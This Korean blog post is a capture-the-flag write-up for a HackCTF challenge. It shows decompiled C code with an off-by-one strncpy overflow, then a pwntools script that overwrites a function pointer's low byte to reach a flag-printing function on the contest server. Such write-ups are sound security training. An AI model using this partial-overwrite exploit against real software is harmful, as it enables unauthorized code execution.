int __cdecl select_func(char *src)
{
char dest[30]; // [esp+Eh] [ebp-2Ah] BYREF
int (*v3)(void); // [esp+2Ch] [ebp-Ch]
v3 = two;
strncpy(dest, src, 31u);
if ( !strcmp(dest, "one") )
v3 = one;
return v3();
}
int print_flag()
{
char i; // al
FILE *fp; // [esp+Ch] [ebp-Ch]
puts("This function is still under development.");
fp = fopen("flag.txt", "r");
for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
putchar(i);
return putchar(10);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[31]; // [esp+1h] [ebp-27h] BYREF
int *v5; // [esp+20h] [ebp-8h]
v5 = &argc;
setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
puts("Which function would you like to call?");
gets(s);
select_func(s);
return 0;
}
문제 코드는 위와 같다. 이번 문제는 보호기법을 보면 NX, PIE, RELRO 보호기법이 3개나 걸려있어서 왠만한 공격으로는 익스플로잇이 불가능하다. PIE가 걸려있으면 실행할 때 마다 바이너리가 랜덤 주소에 올라가기 때문에 gdb로 분석할 때도 offset만 볼 수 있다. 취약점은 select_func함수의 strncpy(dest, src, 31u); 부분에 있다. 30이 dest와 src는 30만큼의 거리이지만 31만큼 dest에 복사하면 바이트를 초과하게된다.
위 그림을 보면 print_flag의 주소 마지막 바이트는 d8이고 two 함수의 마지막 바이트는 ad이다. two 함수의 마지막 바이트를 덮어씌우면 flag.txt를 열 수 있으므로 아래와 같이 익스플로잇 코드를 작성한다.
#!/usr/bin/python
from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3007)
payload=b"a"*30+b"\xd8"
r.sendline(payload)
r.interactive()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] Yes or no (0) | 2021.09.14 |
---|---|
[HackCTF] BOF_PIE (0) | 2021.09.14 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.09.13 |
[HackCTF] x64 Simple_size_BOF (0) | 2021.09.13 |
[HackCTF] x64 Buffer Overflow (0) | 2021.09.13 |
댓글